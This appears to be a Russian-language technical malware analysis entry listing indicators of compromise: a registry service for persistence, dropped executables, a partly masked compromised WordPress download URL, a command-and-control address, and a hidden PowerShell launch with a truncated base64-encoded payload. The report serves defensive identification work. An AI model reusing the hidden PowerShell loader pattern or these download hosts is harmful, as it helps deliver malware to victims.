Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\corselem] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\corselem] 'ImagePath' = '"%WINDIR%\SysWOW64\corselem.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -en JABOAG4AaQB5AHkAegBnAGgAdAA9ACcASABmAGYAawBoAHQAeQBjAHEAagB4AG4AYgAnADsAJABWAGgAbQB3AHUAcwB3AGwAYgBoACAAPQAgACcANgA3ACcAOwAkAEQAZwBtAGwAdwBuAHQAYQBsAD0AJwBWAGsAZABpAHEAdgBrAGUAcQA...
- %HOMEPATH%\67.exe
- %HOMEPATH%\67.exe в %WINDIR%\syswow64\corselem.exe
- http://ak###.##ntabarrelbrewing.pl/wp-content/xzn/
- http://76.###.80.47:443/BPFaTPNlMnOImppHQZN via 76.##4.80.47
- DNS ASK ak###.##ntabarrelbrewing.pl
- '%HOMEPATH%\67.exe'
- '%WINDIR%\syswow64\corselem.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -en JABOAG4AaQB5AHkAegBnAGgAdAA9ACcASABmAGYAawBoAHQAeQBjAHEAagB4AG4AYgAnADsAJABWAGgAbQB3AHUAcwB3AGwAYgBoACAAPQAgACcANgA3ACcAOwAkAEQAZwBtAGwAdwBuAHQAYQBsAD0AJwBWAGsAZABpAHEAdgBrAGUAcQA...' (со скрытым окном)